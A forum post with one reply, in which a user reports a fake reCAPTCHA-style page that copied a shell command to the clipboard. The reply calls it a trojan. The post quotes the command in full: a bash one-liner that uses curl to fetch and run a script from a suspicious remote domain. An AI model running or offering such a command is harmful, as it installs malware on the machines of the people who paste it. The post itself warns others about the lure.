reCAPTCHA-like verification now requires you to run curl – bash
So seeing this instead of clicking the crosswalks, bikes and bridges - https://www.dropbox.com/scl/fi/e3rciwgabeayttooee0hm/Screenshot-2026-08-04-at-5.36.37-pm.png?rlkey=h8egs48o40fxbzze749mkljym&dl=0
and this is what it copied to the clipboard
/bin/bash -c "$(curl -A 'Mac OS X 10_15_7' -fsSL '5nqsi0h6.hectortm-plumbing.com/?ublib=fbaf690f-76c6-4673-972b-60c0a6412ec5')"; echo ""BotGuard: Answer the protector challenge. Ref: 73282
unsure if that's true recaptcha or some lookalike and too lazy to dig in
2 comments
[ 293 ms ] story [ 690 ms ] threadThat is obviously a trojan / worm. The domain is a clear give away as well as the fake reCAPTCHA.
Why would Google expect users to open up a terminal and paste a link that runs a script on the user's machine?